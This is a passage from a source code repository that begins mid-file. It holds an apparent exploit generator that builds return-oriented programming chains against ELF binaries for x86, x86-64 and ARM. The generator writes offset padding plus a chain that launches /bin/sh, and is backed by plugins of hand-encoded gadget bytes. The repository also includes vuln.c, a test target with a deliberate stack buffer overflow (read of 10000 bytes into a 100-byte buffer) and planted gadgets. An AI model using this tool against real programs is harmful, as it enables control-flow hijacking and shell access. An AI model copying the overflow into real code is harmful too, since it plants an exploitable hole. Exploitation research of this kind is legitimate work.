parser.add_argument("-v", '--verbose', action='store_true', help="Print debug information.") parser.add_argument("-f", '--offset', metavar='OFFSET', type=int, help='Offset to overwrite the saved PC.') parser.add_argument("-l", '--library', metavar='LIBRARY', type=int, default=0, help='When using the "ld-corrupt" method, use the LIBRARY-th dependency to obtain the dl_resolve pointer. Use `ldd` to get the order of the libraries. By default is 0.') parser.add_argument("-s", '--size', action="store_true", help="Don't output the acutal ROP chain, but just its size.") args = parser.parse_args() executable_path = args.executable[0] utils.verbose = args.verbose # TODO: implement "gdb" output method if args.output in ["json", "ropl"]: route = "dump" else: route = args.output # Handle registered modules gadget_providers = {} modules = glob.glob(os.path.dirname(__file__) + "/plugins/*.py") modules = [os.path.splitext(os.path.basename(module))[0] for module in modules] modules.remove("__init__") for module_name in modules: module = importlib.import_module("plugins." + module_name) for key, value in module.register_gadget_provider(): gadget_providers[key] = value # Instantiate inline a class with the appropriate subclasses exploit = (type("", (gadget_providers[route], exploit_method[args.method], object), {}))() exploit.config_from_elf(executable_path) exploit.library_index = args.library if args.output == "json": # TODO: move in an external function buffer = Buffer(exploit, exploit.writeable_ranges) exploit_info = exploit.jump_to(buffer, len("execve\0")) result = exploit.empty_exploit() result += exploit.write_string(exploit_info.function_name_area, "execve\0") result += exploit_info.prepare result = exploit.flush(buffer) + result what_to_write = [] for gadget_type, value, address, offset in result: if gadget_type == "write_constant": address = hex(exploit.str2ptr(address)) elif gadget_type == "write_with_offset": address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))} elif gadget_type == "deref_with_offset_and_save": address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))} what_to_write.append({"address": hex(exploit.str2ptr(value)), "value": address}) continue what_to_write.append({"address": address, "value": value.encode("hex")}) result = {"write": what_to_write, "reloc_index": exploit_info.reloc_index} if exploit_info.plt0 is not None: result["plt0"] = hex(exploit_info.plt0) else: result["l_struct"] = hex(exploit_info.l_struct) result["dl_resolve"] = hex(exploit_info.dl_resolve) sys.stdout.write(json.dumps(result, indent=4, sort_keys=True) + "\n") return elif args.output == "ropl": # TODO: move in an external function buffer = Buffer(exploit, exploit.writeable_ranges) exploit_info = exploit.jump_to(buffer, len("execve\0")) result = exploit.empty_exploit() result += exploit.write_string(exploit_info.function_name_area, "execve\0", buffered=False) result += exploit_info.prepare result = exploit.flush(buffer) + result sys.stdout.write("fun main() {\n") emit = lambda x: sys.stdout.write(" " + x + "\n") for gadget_type, value, address, offset in result: if gadget_type == "write_constant": address = exploit.str2ptr(address) remaining = len(value) % exploit.pointer_size if remaining != 0: value += "\x00" * (exploit.pointer_size - remaining) for word, address in izip(chunks(value, exploit.pointer_size), xrange(address, address + len(value) / 4, 4)): emit("v = {}".format(hex(address))) emit("[v] = {}".format(hex(exploit.str2ptr(word)))) elif gadget_type == "write_with_offset": address = hex(exploit.str2ptr(address)) offset = hex(exploit.str2ptr(offset)) value = hex(exploit.str2ptr(value)) emit("address = {}".format(address)) emit("target = [address] + {}".format(offset)) emit("[target] = {}".format(value)) elif gadget_type == "deref_with_offset_and_save": save_address, pointer_address, offset = hex(exploit.str2ptr(value)), hex(exploit.str2ptr(address)), hex(exploit.str2ptr(offset)) emit("target = {}".format(save_address)) emit("source = {}".format(pointer_address)) emit("value = [source] + {}".format(offset)) emit("[target] = [value]".format(save_address)) emit("") sys.stdout.write("}\n") return else: if args.offset is None: log("Please give me the offset to reach the saved PC.") sys.exit(-1) exploit = launch(exploit, "/bin/sh") if args.size: sys.stdout.write(str(len(exploit)) + "\n") else: sys.stdout.write("A" * args.offset + exploit) if __name__ == "__main__": main() ================================================ FILE: memory.py ================================================ from rangeset import RangeSet from utils import align, chunks, log class AllocateFailException(Exception): pass class Buffer: """Create a Buffer from the specified ranges. Please provide disjoint ranges.""" def __init__(self, exploit, ranges): self.exploit = exploit self.areas = {} self.ranges = ranges self.cleanup_ranges() # TODO: keep track of spaoce left empty and try to reuse it # TODO: add an upper boundary def allocate(self, size, align_to=None, alignment=None, name=None, constraint=lambda x,y: True, start=None): if start is not None: result = MemoryArea(self.exploit, start, size, align_to, alignment) if (result.start, result.end) not in self.ranges: raise Exception("The range (" + hex(result.start) + ", " + hex(result.end) + ") is not allowed") else: for candidate_range in self.ranges: start, end = candidate_range result = MemoryArea(self.exploit, start, size, align_to, alignment) start += result.size while (start < end) and (not constraint(result.start, result.index)): result = MemoryArea(self.exploit, start, size, align_to, alignment) start += result.size if start < end: break else: result = None if result is None: raise AllocateFailException("Couldn't find a position for memory area \"" + str(name) + "\" satisfying the imposed constraints before the end of the available buffer.") else: # We have to create a hole in the appropriate range self.ranges = self.ranges - RangeSet(result.start, result.end) self.cleanup_ranges() if name is not None: self.areas[name] = result return result def cleanup_ranges(self): self.ranges = RangeSet.mutual_union(*filter(lambda (start, end): start != end, list(self.ranges))) def dump(self): result = "" for k, v in self.areas.iteritems(): result += "Area " + k + "\n" + "\n".join([" " * 4 + line for line in v.dump().split("\n")]) + "\n" return result class MemoryArea: def __init__(self, exploit, start, size, align_to=None, alignment=None): self.exploit = exploit if align_to is not None: if start < align_to: raise Exception("Trying to align to a something which is after our buffer: aligning " + self.exploit.pointer_format % start + " to " + self.exploit.pointer_format % align_to) self.align_to = align_to self.alignment = size if (alignment is None) else alignment self.start = align(start, self.align_to, self.alignment) self.index = (self.start - self.align_to) / self.alignment else: self.alignment = 1 self.align_to = 0 self.start = start self.index = 0 self.content = "" self.pointer = self.exploit.ptr2str(self.start) self.size = size self.end = self.start + self.size self.wasted = -1 self.is_buffered = False if self.index < 0: log("Warning: a negative index has been computed: " + str(self.index)) def dump(self): result = "" result += "Start: " + self.exploit.pointer_format % self.start + " (" + self.exploit.closest_section_from_address(self.start) + ")\n" result += "Size: " + self.exploit.pointer_format % self.size + " (" + str(self.size) + ")\n" result += "End: " + self.exploit.pointer_format % self.end + "\n" result += "Base: " + self.exploit.pointer_format % self.align_to + "\n" result += "Alignment: " + str(self.alignment) + "\n" result += "Index: " + hex(self.index) + " (" + str(self.index) + ")\n" result += "Wasted: " + str(self.wasted) + "\n" result += "Content:\n" for chunk in chunks(self.content, self.exploit.pointer_size): result += " " * 4 + " ".join(["%.2x" % ord(c) for c in chunk]) + " " + (self.exploit.pointer_format % self.exploit.str2ptr(chunk) if len(chunk) == self.exploit.pointer_size else "") + "\n" return result ================================================ FILE: plugins/CommonGadgetsExploit.py ================================================ from exploit import Exploit from utils import insert_and_replace class CommonGadgetsExploit(Exploit): """Mainly add a pool of gadgets common in the various architectures.""" def __init__(self): Exploit.__init__(self) # Good for FreeBSD # self.add_gadget("EM_386", "writemem", 4, # " 8b 44 24 08" + # mov eax,DWORD PTR [esp+0x8] \ # " 8b 4c 24 04" + # mov ecx,DWORD PTR [esp+0x4] \ # " 89 01" + # mov DWORD PTR [ecx],eax \ # " c3") # ret # self.add_gadget("EM_386", "cleanup", 3, # " 83 c4 0c" + # add esp,0xc \ # " c3") # ret # Good for Linux self.add_gadget("EM_386", "writemem", 4, " 8b 54 24 08" + # mov edx,DWORD PTR [esp+0x8] \ " 8b 44 24 04" + # mov eax,DWORD PTR [esp+0x4] \ " 89 10" + # mov DWORD PTR [eax],edx \ " c3") # ret # *(*(eax)+ecx) = ebx self.add_gadget("EM_386", "deref_write_with_offset", 4, " 58" + # pop eax \ " 5b" + # pop ebx \ " 59" + # pop ecx \ " 8b 00" + # mov eax,DWORD PTR [eax] \ " 89 1c 08" + # mov DWORD PTR [eax+ecx*1],ebx \ " c3") # ret self.add_gadget("EM_386", "deref_with_offset_and_save", 4, " 58" + # pop eax \ " 5b" + # pop ebx \ " 59" + # pop ecx \ " 8b 00" + # mov eax,DWORD PTR [eax] " 8b 04 18" + # mov eax,DWORD PTR [eax+ebx*1] \ " 89 01" + # mov DWORD PTR [ecx],eax \ " c3") # ret self.add_gadget("EM_386", "copy_to_stack", 4, " 5b" + # pop ebx \ " 59" + # pop ecx \ " 8b 1b" + # mov ebx,DWORD PTR [ebx] \ " 89 1c 0c" + # mov DWORD PTR [esp+ecx*1],ebx \ " c3") # ret self.add_gadget("EM_386", "cleanup", 4, " 5b" + # pop ebx \ " 5e" + # pop esi \ " 5f" + # pop edi \ " 5d" + # pop ebp \ " c3") # ret self.add_gadget("EM_386", "prepare_memcpy", 4, " 58" + # pop eax \ " 5e" + # pop esi \ " 01 e6" + # add esi,esp \ " 89 34 04" + # mov DWORD PTR [esp+eax*1],esi \ " c3") # ret self.add_gadget("EM_386", "custom_cleanup", 4, " 5b" + # pop ebx \ " 01 dc" + # add esp,ebx \ " c3") # ret # This gadget requires 6 useless parameters self.add_gadget("EM_X86_64", "writemem", 8, " 48 8b 54 24 10" + # mov rdx,QWORD PTR [rsp+0x10] \ " 48 8b 44 24 08" + # mov rax,QWORD PTR [rsp+0x8] \ " 48 89 10" + # mov QWORD PTR [rax],rdx \ " c3") # ret self.add_gadget("EM_X86_64", "writemem", 8, " 48 89 37" + # mov QWORD PTR [rdi],rsi \ " c3") # ret self.add_gadget("EM_X86_64", "cleanup", 6, " 5b" + # pop rbx \ " 5d" + # pop rbp \ " 41 5c" + # pop r12 \ " 41 5d" + # pop r13 \ " 41 5e" + # pop r14 \ " 41 5f" + # pop r15 \ " c3") # ret self.add_gadget("EM_X86_64", "args", None, " 4c 89 ea" + # mov rdx,r13 \ " 4c 89 f6" + # mov rsi,r14 \ " 44 89 ff" + # mov edi,r15d \ " 41 ff 14 dc") # call QWORD PTR [r12+rbx*8] self.add_gadget("EM_X86_64", "deref_write_with_offset", None, " 58" + # pop rax \ " 5b" + # pop rbx \ " 59" + # pop rcx \ " 48 8b 00" + # mov rax,QWORD PTR [rax] \ " 48 89 1c 08" + # mov QWORD PTR [rax+rcx*1],rbx \ " c3") # ret self.add_gadget("EM_X86_64", "deref_with_offset_and_save", None, " 58" + # pop rax \ " 5b" + # pop rbx \ " 59" + # pop rcx \ " 48 8b 00" + # mov rax,QWORD PTR [rax] \ " 48 8b 04 18" + # mov rax,QWORD PTR [rax+rbx*1] \ " 48 89 01" + # mov QWORD PTR [rcx],rax \ " c3") # ret self.add_gadget("EM_X86_64", "copy_to_stack", None, " 5b" + # pop rbx \ " 59" + # pop rcx \ " 48 8b 1b" + # mov rbx,QWORD PTR [rbx] \ " 48 89 1c 0c" + # mov QWORD PTR [rsp+rcx*1],rbx \ " c3") # ret self.add_gadget("EM_X86_64", "prepare_memcpy", None, " 5e" + # pop rsi \ " 48 01 e6" + # add rsi,rsp \ " c3") # ret self.add_gadget("EM_X86_64", "custom_cleanup", None, " 58" + # pop rax \ " 48 01 c4" + # add rsp,rax \ " c3") # ret self.add_gadget("EM_X86_64", "prepare_easy", None, " 5f" + # pop rdi \ " 5e" + # pop rsi \ " 5a" + # pop rdx \ " c3") # ret # Assume LE self.add_gadget("EM_ARM", "writemem", 4, " 00 10 80 e5" + # str r1, [r0] \ " 1e ff 2f e1") # bx lr # Better not use this due to a bug in QEMU #self.add_gadget("EM_ARM", "prepare_regs", None, # " f8 85 bd e8") # pop {r3, r4, r5, r6, r7, r8, sl, pc} self.add_gadget("EM_ARM", "prepare_regs", None, " f8 85 bd 08") # popeq {r3, r4, r5, r6, r7, r8, sl, pc} self.add_gadget("EM_ARM", "setup_args", None, " 07 00 a0 e1" + # mov r0, r7 \ " 08 10 a0 e1" + # mov r1, r8 \ " 0a 20 a0 e1" + # mov r2, sl \ " 01 40 84 e2" + # add r4, r4, #1 \ " 33 ff 2f e1" + # blx r3 \ " 06 00 54 e1" + # cmp r4, r6 \ " f7 ff ff 1a" + # bne 8604 <__libc_csu_init+0x38> \ " f8 85 bd e8") # pop {r3, r4, r5, r6, r7, r8, sl, pc} self.add_gadget("EM_ARM", "just_ret", None, " 1e ff 2f e1") # bx lr def allocate_helpers(self, buffer): """Allocate helper buffers needed by some specific platforms (e.g. for cleanup purposes)""" result = Exploit.allocate_helpers(self, buffer) if self.arch == "EM_X86_64": self.popret = buffer.allocate(self.pointer_size, name="popret") nope, nope, cleanup_location = self.get_gadget("cleanup") result += self.write_pointer(self.popret, self.str2ptr(cleanup_location) + 8) return result def deref_with_offset_and_save(self, pointer_address, offset, save_address): """Dereference the address in the given memory area (pointer_address), add the offset, and copy the content to the given address (save_address).""" none, none, location = self.get_gadget("deref_with_offset_and_save") return location + pointer_address + offset + save_address def write_with_offset(self, pointer_address, offset, value): """Dereference the address in the given memory area, add the specified offset and write there the specified value.""" none, none, location = self.get_gadget("deref_write_with_offset") return location + pointer_address + value + offset def copy_to_stack(self, offset, source): """Copy the content of the given memory area (source) at the specified offset from the stack pointer. When computing the offset assume the following layout (assuming 32-bit pointers): ... &gadget -12 offset -8 &source -4 &next_return_address 0 parameter1 +4 ... """ none, none, location = self.get_gadget("copy_to_stack") return location + offset + source def call(self, invocation, parameters): """ROP function invocation: return a ROP chain that sets up the arguments on the stack and/or on the registers, invoke the function and cleanup the arguments.""" if self.arch == "EM_386": return self.call32(invocation, parameters) elif self.arch == "EM_X86_64": return self.call64(invocation, parameters) elif self.arch == "EM_ARM": return self.call_arm(invocation, parameters) else: raise Exception("Unsupported architecture") def call32(self, invocation, parameters): """Implements the i386 calling convention.""" cleanup_size, nope, cleanup_location = self.get_gadget("cleanup") if len(parameters) > cleanup_size: raise Exception("Too many parameters, find a better gadget") prepare = invocation stack_frame = cleanup_location + \ "".join(map(str, parameters)) + \ self.filler * (cleanup_size - len(parameters)) return prepare, 0, stack_frame def call64(self, invocation, parameters): """Implements the x86_64 calling convention.""" if len(parameters) > 3: raise Exception("Too many parameters") elif self.str2ptr(parameters[0]) & 0xffffffff00000000 != 0: raise Exception("First parameter high part has to be 0") elif len(parameters) == 0: return invocation elif len(parameters) < 3: parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters)) preapare_easy_location = self.get_gadget("prepare_easy") if preapare_easy_location is not None: preapare_easy_location = preapare_easy_location[2] prepare = preapare_easy_location + "".join(parameters) else: nope, nope, args_location = self.get_gadget("args") nope, nope, cleanup_location = self.get_gadget("cleanup") prepare = cleanup_location prepare += self.ptr2str(0) # rbx prepare += self.ptr2str(1) # rbp == rbx + 1 prepare += self.ptr2str(self.fini + 8) # r12, jump to pop;ret prepare += parameters[2] # r13 -> rdx prepare += parameters[1] # r14 -> rsi prepare += parameters[0] # r15 -> edi prepare += args_location # move registers; call pop;ret prepare += self.filler * 7 prepare += invocation return prepare, len(prepare) - len(invocation), "" def call_arm(self, invocation, parameters): """Implements the ARM calling convention.""" if len(parameters) > 3: raise Exception("Too many parameters, find a better gadget") elif len(parameters) == 0: return invocation elif len(parameters) < 3: parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters)) nope, nope, prepare_regs_location = self.get_gadget("prepare_regs") nope, nope, setup_args_location = self.get_gadget("setup_args") prepare = prepare_regs_location prepare += invocation[0:4] # r3, target of a blx prepare += self.ptr2str(0) # r4 prepare += self.filler # r5 prepare += self.ptr2str(1) # r6 == r4 + 1 prepare += parameters[0] # r7 -> r0 prepare += parameters[1] # r8 -> r1 prepare += parameters[2] # sl -> r2 prepare += setup_args_location # pc prepare += self.filler * 7 # pop again 7 regs + pc return prepare, len(prepare_regs_location), "" def do_writemem(self, address, value): """Write a pointer-sized buffer to the specfied location. This function uses the writemem gadget.""" write_size, nope, location = self.get_gadget("writemem") remaining = "" if len(value) > write_size: remaining = value[write_size:] value = value[0:write_size] elif len(value) < write_size: value = value.ljust(write_size, "\0") # TODO: using kill for this is overkill, create a simpler gadget prepare, nope, stack_frame = self.call(location, [address, value]) return remaining, prepare + stack_frame def memcpy(self, destination, data): write_size, nope, prepare_memcpy_location = self.get_gadget("prepare_memcpy") write_size, nope, custom_cleanup_location = self.get_gadget("custom_cleanup") if len(data) % 4 != 0: data = data + "\x00" * (4 - len(data) % 4) from utils import log log("I've to write " + str(len(data)) + " bytes at " + hex(destination)) if self.arch == "EM_386": result = prepare_memcpy_location + self.ptr2str(self.pointer_size * 3) # + self.ptr2str(0) prepare, nope, stack_frame = self.call(self.ptr2str(self.memcpy_plt), [self.ptr2str(destination), self.filler, self.ptr2str(len(data))]) invocation = prepare + stack_frame invocation += custom_cleanup_location + self.ptr2str(len(data)) # Offset from ESP to position of the buffer result += self.ptr2str(len(invocation)) result += invocation result += data return result elif self.arch == "EM_X86_64": invocation = prepare_memcpy_location + self.filler + self.ptr2str(self.memcpy_plt) prepare, invocation_start, stack_frame = self.call(invocation, [self.ptr2str(destination), self.filler, self.ptr2str(len(data))]) invocation = prepare + stack_frame invocation += custom_cleanup_location + self.ptr2str(len(data)) invocation = insert_and_replace(invocation, self.ptr2str(len(invocation) - invocation_start - self.pointer_size * 2), invocation_start + self.pointer_size) result = invocation result += data return result #return location + self.ptr2str(0) + self.ptr2str(len(data)) + self.ptr2str(self.memcpy_plt) else: raise Exception("Unsupported architecture") def register_gadget_provider(): return [("rop-chain", CommonGadgetsExploit)] ================================================ FILE: plugins/RawDumperExploit.py ================================================ from exploit import Exploit class RawDumperExploit(Exploit): def __init__(self): Exploit.__init__(self) self.empty_exploit = lambda: [] def do_writemem(self, address, value): """Write a pointer-sized buffer to the specfied location.""" return "", [("write_constant", value, address, None)] def write_with_offset(self, pointer_address, offset, value): return [("write_with_offset", value, pointer_address, offset)] def deref_with_offset_and_save(self, pointer_address, offset, save_address): return [("deref_with_offset_and_save", save_address, pointer_address, offset)] def register_gadget_provider(): return [("dump", RawDumperExploit)] ================================================ FILE: plugins/__init__.py ================================================ ================================================ FILE: rangeset.py ================================================ """ This module provides a RangeSet data structure. A range set is, as the name implies, a set of ranges. Intuitively, you could think about a range set as a subset of the real number line, with arbitrary gaps. Some examples of range sets on the real number line: 1. -infinity to +infinity 2. -1 to 1 3. 1 to 4, 10 to 20 4. -infinity to 0, 10 to 20 5. (the empty set) The code lives on github at: https://github.com/axiak/py-rangeset. Overview ------------- .. toctree:: :maxdepth: 2 The rangeset implementation offers immutable objects that represent the range sets as described above. The operations are largely similar to the `set object `_ with the obvious exception that mutating methods such as ``.add`` and ``.remove`` are not available. The main object is the ``RangeSet`` object. """ import bisect import operator import functools import collections __version__ = (0, 0, 6) __all__ = ('INFINITY', 'NEGATIVE_INFINITY', 'RangeSet') _parent = collections.namedtuple('RangeSet_', ['ends']) class _Indeterminate(object): def timetuple(self): return () def __eq__(self, other): return other is self class _Infinity(_Indeterminate): def __lt__(self, other): return False def __gt__(self, other): return True def __str__(self): return 'inf' __repr__ = __str__ class _NegativeInfinity(_Indeterminate): def __lt__(self, other): return True def __gt__(self, other): return False def __str__(self): return '-inf' __repr__ = __str__ INFINITY = _Infinity() NEGATIVE_INFINITY = _NegativeInfinity() class RangeSet(_parent): def __new__(cls, start, end): if end is _RAW_ENDS: ends = start else: if isinstance(start, _Indeterminate) and isinstance(end, _Indeterminate) and \ start == end: raise LogicError("A range cannot consist of a single end the line.") if start > end: start, end = end, start ends = ((start, _START), (end, _END)) return _parent.__new__(cls, ends) def __merged_ends(self, *others): sorted_ends = list(self.ends) for other in others: sorted_ends.extend(RangeSet.__coerce(other).ends) sorted_ends.sort() return sorted_ends @classmethod def __coerce(cls, value): if isinstance(value, RangeSet): return value elif isinstance(value, tuple) and len(value) == 2: return cls(value[0], value[1]) else: return cls.mutual_union(*[(x, x) for x in value]) @classmethod def __iterate_state(cls, ends): state = 0 for _, end in ends: if end == _START: state += 1 else: state -= 1 yield _, end, state def __or__(self, *other): sorted_ends = self.__merged_ends(*other) new_ends = [] for _, end, state in RangeSet.__iterate_state(sorted_ends): if state > 1 and end == _START: continue elif state > 0 and end == _END: continue new_ends.append((_, end)) return RangeSet(tuple(new_ends), _RAW_ENDS) union = __or__ def __and__(self, *other, **kwargs): min_overlap = kwargs.pop('minimum', 2) if kwargs: raise ValueError("kwargs is not empty: {0}".format(kwargs)) sorted_ends = self.__merged_ends(*other) new_ends = [] for _, end, state in RangeSet.__iterate_state(sorted_ends): if state == min_overlap and end == _START: new_ends.append((_, end)) elif state == (min_overlap - 1) and end == _END: new_ends.append((_, end)) return RangeSet(tuple(new_ends), _RAW_ENDS) intersect = __and__ def __ror__(self, other): return self.__or__(other) def __rand__(self, other): return self.__and__(other) def __rxor__(self, other): return self.__xor__(other) def __xor__(self, *other): sorted_ends = self.__merged_ends(*other) new_ends = [] old_val = None for _, end, state in RangeSet.__iterate_state(sorted_ends): if state == 2 and end == _START: new_ends.append((_, _NEGATE[end])) elif state == 1 and end == _END: new_ends.append((_, _NEGATE[end])) elif state == 1 and end == _START: new_ends.append((_, end)) elif state == 0 and end == _END: new_ends.append((_, end)) return RangeSet(tuple(new_ends), _RAW_ENDS) symmetric_difference = __xor__ def __contains__(self, test): last_val, last_end = None, None if not self.ends: return False if isinstance(test, _Indeterminate): return False for _, end, state in RangeSet.__iterate_state(self.ends): if _ == test: return True elif last_val is not None and _ > test: return last_end == _START elif _ > test: return False last_val, last_end = _, end return self.ends[-1][0] == test def issuperset(self, test): if isinstance(test, RangeSet): rangeset = test else: rangeset = RangeSet.__coerce(test) difference = rangeset - ~self return difference == rangeset __ge__ = issuperset def __gt__(self, other): return self != other and self >= other def issubset(self, other): return RangeSet.__coerce(other).issuperset(self) __le__ = issubset def __lt__(self, other): return self != other and self <= other def isdisjoint(self, other): return not bool(self & other) def __nonzero__(self): return bool(self.ends) def __invert__(self): if not self.ends: new_ends = ((NEGATIVE_INFINITY, _START), (INFINITY, _END)) return RangeSet(new_ends, _RAW_ENDS) new_ends = list(self.ends) head, tail = [], [] if new_ends[0][0] == NEGATIVE_INFINITY: new_ends.pop(0) else: head = [(NEGATIVE_INFINITY, _START)] if new_ends[-1][0] == INFINITY: new_ends.pop(-1) else: tail = [(INFINITY, _END)] for i, value in enumerate(new_ends): new_ends[i] = (value[0], _NEGATE[value[1]]) return RangeSet(tuple(head + new_ends + tail), _RAW_ENDS) invert = __invert__ def __sub__(self, other): return self & ~RangeSet.__coerce(other) def difference(self, other): return self.__sub__(other) def __rsub__(self, other): return RangeSet.__coerce(other) - self def measure(self): if not self.ends: return 0 if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate): raise ValueError("Cannot compute range with unlimited bounds.") return reduce(operator.add, (self.ends[i + 1][0] - self.ends[i][0] for i in range(0, len(self.ends), 2))) def range(self): if not self.ends: return 0 if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate): raise ValueError("Cannot compute range with unlimited bounds.") return self.ends[-1][0] - self.ends[0][0] def __str__(self): pieces = ["{0} -- {1}".format(self.ends[i][0], self.ends[i + 1][0]) for i in range(0, len(self.ends), 2)] return "".format(", ".join(pieces)) __repr__ = __str__ def __eq__(self, other): if self is other: return True elif not isinstance(other, RangeSet): try: other = RangeSet.__coerce(other) except TypeError: return False return self.ends == other.ends def __ne__(self, other): return not self.__eq__(other) def __hash__(self): return hash(self.ends) @classmethod def mutual_overlaps(cls, *ranges, **kwargs): minimum = kwargs.pop('minimum', 2) if kwargs: raise ValueError("kwargs is not empty: {0}".format(kwargs)) return cls.__coerce(ranges[0]).intersect(*ranges[1:], minimum=minimum) @classmethod def mutual_union(cls, *ranges): return cls.__coerce(ranges[0]).union(*ranges[1:]) @property def min(self): return self.ends[0][0] @property def max(self): return self.ends[-1][0] def __iter__(self): ends_copy = list(self.ends) for i in range(0, len(ends_copy), 2): yield (ends_copy[i][0], ends_copy[i + 1][0]) _START = -1 _END = 1 _NEGATE = {_START: _END, _END: _START} _RAW_ENDS = object() class LogicError(ValueError): pass ================================================ FILE: utils.py ================================================ import itertools import sys verbose = False def align(address, base, of): offset = (address - base) % of return address if offset == 0 else address + of - offset def hex_bytes(string): return "".join(map(lambda x: chr(int(x, 16)), filter(len, string.split(" ")))) def findall(sub, string, addend): index = 0 - 1 try: while True: index = string.index(sub, index + 1) yield index + addend except ValueError: pass def find_all_strings(sections, string): result = [list(findall(string, section.data(), section.header.p_vaddr)) for section in sections if string in section.data()] return sum(result, []) def find_string(sections, string): result = [section.header.p_vaddr + section.data().index(string) for section in sections if string in section.data()] return first_or_none(result) def first_or_none(list): return list[0] if len(list) > 0 else None def log(string): if verbose: sys.stderr.write(string + "\n") def chunks(l, n): for i in xrange(0, len(l), n): yield l[i:i+n] def integer_to_bigendian(n): s = '%x' % n if len(s) & 1: s = '0' + s return s.decode('hex') def bigendian_to_integer(string): return string.encode("hex") def pairwise(iterable): "s -> (s0,s1), (s1,s2), (s2, s3), ..." a, b = itertools.tee(iterable) next(b, None) return itertools.izip(a, b) def filter_none(list): return filter(lambda entry: entry is not None, list) def insert_and_replace(original, insert, offset): return original[:offset] + insert + original[offset + len(insert):] ================================================ FILE: vuln.c ================================================ // Don't include unistd.h otherwise a secure version of read will be used // #include // #include #include #include #include #include #if !defined(__x86_64__) && !defined(__i386__) # error "Unsupported architecture" #endif char put_me_in_bss[1024] = {0}; int play_with_stack(int i) { int *local = alloca(10); local[0] = 123; intptr_t memcpy_ptr = (intptr_t) memcpy; return local[i] + memcpy_ptr; } void add(int *a, int b) { *a += b; } void mem_to_mem(int *dst, int *src) { *dst = *src; } void writemem(void **in, void *val) { *in = val; } int do_read() { char buffer[100]; read(0, buffer, 10000); } void deref_and_write_with_offset() { #if defined(__x86_64__) __asm__("pop rax; pop rbx; pop rcx; mov rax,QWORD PTR [rax]; mov QWORD PTR [rax+rcx*1],rbx; ret;"); #elif defined(__i386__) __asm__("pop eax; pop ebx; pop ecx; mov eax,DWORD PTR [eax]; mov DWORD PTR [eax+ecx*1],ebx; ret;"); #endif } void deref_with_offset_and_save() { #if defined(__x86_64__) __asm__("pop rax; pop rbx; pop rcx; mov rax, [rax]; mov rax,QWORD PTR [rax+rbx]; mov QWORD PTR [rcx],rax; ret;"); #elif defined(__i386__) __asm__("pop eax; pop ebx; pop ecx; mov eax, [eax]; mov eax,DWORD PTR [eax+ebx]; mov DWORD PTR [ecx],eax; ret;"); #endif } void copy_to_stack() { #if defined(__x86_64__) __asm__("pop rbx; pop rcx; mov rbx, QWORD PTR [rbx]; mov QWORD PTR [rsp+rcx*1],rbx; ret;"); #elif defined(__i386__) __asm__("pop ebx; pop ecx; mov ebx, DWORD PTR [ebx]; mov DWORD PTR [esp+ecx*1],ebx; ret;"); #endif } void load_memcpy() { #if defined(__x86_64__) __asm__("pop rsi; add rsi,rsp; ret;"); __asm__("pop rax; add rsp,rax; ret;"); #elif defined(__i386__) __asm__("pop eax; pop esi; add esi,esp; mov DWORD PTR [esp+eax], esi; ret;"); __asm__("pop ebx; add esp,ebx; ret;"); #endif } void args() { #if defined(__x86_64__) __asm__("pop rdi; pop rsi; pop rdx; ret;"); #endif } int main() { do_read(); }